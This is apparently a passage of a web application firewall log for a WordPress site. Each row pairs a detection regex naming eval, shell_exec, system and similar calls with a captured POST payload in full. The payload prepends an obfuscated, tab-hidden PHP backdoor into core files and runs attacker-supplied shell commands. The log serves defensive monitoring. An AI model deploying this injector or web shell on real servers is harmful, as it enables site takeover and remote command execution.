0.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\ncK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:30","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\nVC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:33","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 